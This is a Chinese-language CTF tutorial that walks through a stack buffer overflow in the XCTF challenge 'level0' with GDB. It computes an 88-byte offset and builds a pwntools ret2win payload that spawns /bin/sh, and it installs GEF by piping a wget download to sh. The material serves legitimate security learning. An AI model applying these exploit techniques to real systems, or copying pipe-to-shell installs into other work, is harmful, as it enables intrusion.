别光看WriteUp了!手把手教你用GDB动态调试攻防世界PWN题(以level0为例)
别光看WriteUp了!手把手教你用GDB动态调试攻防世界PWN题(以level0为例)
在CTF竞赛中,PWN题往往是最能体现技术实力的环节。许多初学者习惯直接阅读现成的WriteUp,却忽略了动态调试这一核心技能。本文将以攻防世界新手区的经典题目level0为例,带你亲历从漏洞发现到利用的全过程,重点演示如何用GDB在运行时观察内存状态变化。
1. 环境准备与初步分析
首先下载题目提供的level0二进制文件,使用checksec检查防护机制:
checksec --file=level0输出结果通常显示:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键信息:
- NX enabled:栈不可执行,意味着不能直接注入shellcode
- No canary:栈溢出时不会触发栈保护检测
- No PIE:程序加载地址固定,便于计算偏移量
用IDA Pro快速静态分析,发现vulnerable_function中存在明显的栈溢出漏洞:
ssize_t vulnerable_function() { char buf[80]; // 0x50字节的缓冲区 return read(0, buf, 200); // 允许读取200字节 }2. GDB调试基础配置
安装增强型GDB插件GEF(或Pwndbg),它们提供了更直观的内存显示功能:
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh启动调试环境:
gdb -q ./level0在GDB中设置以下实用参数:
set disassembly-flavor intel # 使用Intel汇编语法 set follow-fork-mode child # 跟踪子进程 break *vulnerable_function # 在漏洞函数入口下断点3. 关键断点设置与栈帧观察
运行程序并在关键位置设置断点:
break *vulnerable_function+25 # read函数调用前 break *vulnerable_function+30 # read函数返回后 commands 2 # 第二个断点的自动命令 x/40gx $rsp # 显示栈内容 info frame # 查看栈帧信息 continue end当程序执行到read函数时,观察栈布局:
0x7fffffffe4a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4e0: 0x0000000000000000 0x00007fffffffe500注意:
- 缓冲区起始地址:
0x7fffffffe4a0 - 保存的RBP值:
0x7fffffffe500 - 返回地址位置:
0x7fffffffe4e8
4. 构造payload与溢出验证
计算精确偏移量:
缓冲区地址:0x7fffffffe4a0 返回地址位置:0x7fffffffe4e8 偏移量 = 0xe8 - 0xa0 + 8 = 80 + 8 = 88字节使用cyclic模式生成测试字符串:
pattern create 200输入生成的字符串后,程序崩溃时观察寄存器:
Program received signal SIGSEGV, Segmentation fault. RIP: 0x6161616161616166通过pattern offset计算:
pattern offset 0x6161616161616166 Exact match at offset 885. 动态跟踪执行流劫持
在IDA中确认后门函数地址:
void callsystem() { system("/bin/sh"); } // 地址:0x400596构造payload并调试:
from pwn import * payload = b'A'*88 + p64(0x400596)在GDB中实时验证:
run <<< $(python -c 'print "A"*88 + "\x96\x05\x40\x00\x00\x00\x00\x00"')观察关键节点:
read返回后栈数据变化- 函数返回时RIP寄存器值变为
0x400596 - 成功跳转到
callsystem函数
6. 常见问题排错指南
Segmentation Fault可能原因:
- 偏移量计算错误(需重新测量栈帧)
- 地址未对齐(x64需16字节对齐)
- 权限问题(检查NX是否影响)
GDB调试技巧:
# 查看内存映射 vmmap # 跟踪系统调用 catch syscall execve # 观察寄存器变化 telescope $rsp 20EXP优化建议:
# 使用pwntools自动化 io = process('./level0') payload = flat({ 88: p64(0x400596) }) io.sendline(payload) io.interactive()7. 拓展:其他调试场景应用
场景1:ASLR环境下调试
# 先泄漏地址 break *vulnerable_function continue info proc mappings # 计算实际偏移场景2:有Canary保护时
# 在函数入口处记录Canary值 x/gx $rbp-0x8 # 构造payload时保持该值不变场景3:ROP链构造验证
# 单步跟踪每个gadget stepi # 观察栈指针变化 print $rsp掌握GDB动态调试技术后,面对复杂PWN题时不再需要盲目尝试。通过实时观察内存状态、验证漏洞假设,你能真正理解二进制漏洞的本质原理。记住,好的漏洞利用就像外科手术——精确计算每个字节的作用,这正是动态调试赋予我们的"X光透视"能力。
